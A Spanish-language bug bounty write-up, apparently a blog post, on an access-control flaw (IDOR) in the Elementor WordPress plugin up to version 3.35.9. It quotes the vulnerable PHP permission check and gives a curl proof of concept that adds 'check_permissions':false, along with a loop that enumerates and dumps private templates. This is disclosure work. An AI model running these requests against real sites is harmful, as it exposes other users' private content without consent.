IDOR en Elementor: Leyendo Plantillas Privadas con el Rol Author

IDOR Attack Flow Elementor Plugin v2

Hoy quiero compartir un hallazgo que encontrรฉ durante mi participaciรณn en el programa de Bug Bounty de Wordfence Intelligence. Por razones de confidencialidad y รฉtica, todos los detalles sensibles como dominios reales han sido anonimizados, pero la lรณgica y la tรฉcnica de explotaciรณn son 100% reales.

Este reporte fue enviado bajo el ID #447055 y afecta al plugin Elementor en versiones iguales o menores a la 3.35.9, uno de los page builders mรกs utilizados en WordPress a nivel mundial.

ยฟQuรฉ es un IDOR?

Un Insecure Direct Object Reference (IDOR) es una vulnerabilidad que ocurre cuando una aplicaciรณn expone referencias directas a objetos internos โ€” como IDs de base de datos, rutas de archivos, etc. โ€” sin validar correctamente si el usuario tiene permisos para acceder a ese objeto.

En este caso, el plugin Elementor permitรญa a un usuario autenticado con el rol de Author (un rol estรกndar de WordPress asignado comรบnmente a colaboradores de blogs) acceder al contenido completo de cualquier plantilla privada o borrador de Elementor que perteneciera a cualquier otro usuario, incluido el administrador del sitio.

IDOR Attack Flow Diagram - Elementor Plugin Vulnerability #447055
Diagrama de flujo del ataque IDOR en el plugin Elementor โ‰ค 3.35.9

ยฟDรณnde estaba el problema?

La vulnerabilidad se origina en el archivo includes/template-library/sources/local.php. El mรฉtodo privado should_check_permissions() lee la clave check_permissions directamente desde el array $args controlado por el usuario, sin ningรบn tipo de sanitizaciรณn:

Elementor IDOR vulnerable code path - should_check_permissions bypass
Cรณdigo PHP vulnerable en local.php โ€” la cadena de bypass que permite el IDOR

Cuando should_check_permissions() devuelve false, el mรฉtodo is_allowed_to_read_template() concede acceso incondicional sin realizar ninguna verificaciรณn de propiedad o visibilidad. La รบnica verificaciรณn de capacidad existente (edit_posts) era suficiente para el rol Author por defecto, completando el escenario de explotaciรณn.

// includes/template-library/sources/local.php โ€” lรญneas 2097โ€“2109
private function should_check_permissions( array $args ): bool {
    $check_permissions = isset( $args['check_permissions'] ) && false === $args['check_permissions'];

    if ( $check_permissions ) {
        return false;  // bypass โ€” omite TODOS los controles de propiedad y visibilidad
    }

    return true;
}

// lรญneas 2079โ€“2095
public function is_allowed_to_read_template( array $args ): bool {
    if ( ! $this->should_check_permissions( $args ) ) {
        return true;  // acceso concedido sin mรกs verificaciones
    }
    // ... verificaciones de propiedad que ahora nunca se alcanzan
}

Flujo del Ataque

  1. El administrador crea una plantilla privada en la biblioteca de Elementor.
  2. El atacante (con rol Author) obtiene su sesiรณn y el nonce de AJAX de Elementor.
  3. El atacante envรญa una peticiรณn AJAX a admin-ajax.php con el parรกmetro "check_permissions": false.
  4. El sistema omite todas las verificaciones de permisos y devuelve el contenido completo de la plantilla privada en formato JSON.
  5. Iterando sobre IDs secuenciales, el atacante puede enumerar y exfiltrar toda la biblioteca de plantillas, independientemente del estado de publicaciรณn o del propietario.

Prueba de Concepto (PoC)

Proof of Concept comparison - Elementor IDOR - before and after bypass
Comparaciรณn: peticiรณn normal (acceso denegado) vs peticiรณn con check_permissions:false (IDOR exitoso)

Paso 1 โ€” Sin bypass: acceso denegado

Una peticiรณn normal sin el parรกmetro malicioso devuelve el error esperado de permisos:

curl -s -b /tmp/author.txt \
  --data-urlencode "_nonce=$NONCE" \
  --data-urlencode "action=elementor_ajax" \
  --data-urlencode 'actions={"1":{"action":"get_template_data","data":{"source":"local","template_id":130}}}' \
  "https://[TARGET]/wp-admin/admin-ajax.php"

# Respuesta esperada:
# {"success":false,"data":{"responses":{"1":{"success":false,"data":"You do not have permission to access this template."}}}}

Paso 2 โ€” Con check_permissions:false: bypass exitoso

Al agregar el parรกmetro "check_permissions": false a la peticiรณn, el sistema omite todas las verificaciones y devuelve el contenido completo de la plantilla privada:

curl -s -b /tmp/author.txt \
  --data-urlencode "_nonce=$NONCE" \
  --data-urlencode "action=elementor_ajax" \
  --data-urlencode 'actions={"1":{"action":"get_template_data","data":{"source":"local","template_id":130,"check_permissions":false}}}' \
  "https://[TARGET]/wp-admin/admin-ajax.php"

# Respuesta: contenido completo de la plantilla privada devuelto en JSON

Paso 3 โ€” Enumeraciรณn masiva de plantillas

for ID in $(seq 1 500); do
  curl -s -b /tmp/author.txt \
    --data-urlencode "_nonce=$NONCE" \
    --data-urlencode "action=elementor_ajax" \
    --data-urlencode "actions={\"1\":{\"action\":\"get_template_data\",\"data\":{\"source\":\"local\",\"template_id\":$ID,\"check_permissions\":false}}}" \
    "https://[TARGET]/wp-admin/admin-ajax.php"
done

Impacto

La severidad de esta vulnerabilidad es Media. Un atacante autenticado con el rol de Author puede leer el contenido completo de cualquier plantilla privada o borrador de Elementor de cualquier usuario, exfiltrar datos sensibles almacenados en las plantillas, y enumerar toda la biblioteca del sitio mediante iteraciรณn de IDs secuenciales.

Conclusiรณn

Esta vulnerabilidad es un claro ejemplo de cรณmo un parรกmetro de control de acceso interno fue expuesto accidentalmente a la entrada del usuario sin ninguna sanitizaciรณn. La confianza implรญcita en un valor booleano suministrado por el cliente para desactivar controles de seguridad es un antipatrรณn de diseรฑo peligroso.

El reporte fue enviado a travรฉs del programa de Wordfence Intelligence y el equipo de Elementor fue notificado para su correcciรณn.


Reporte #447055 โ€” Wordfence Intelligence Vulnerability Submission | Programa pรบblico de Bug Bounty

,

0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments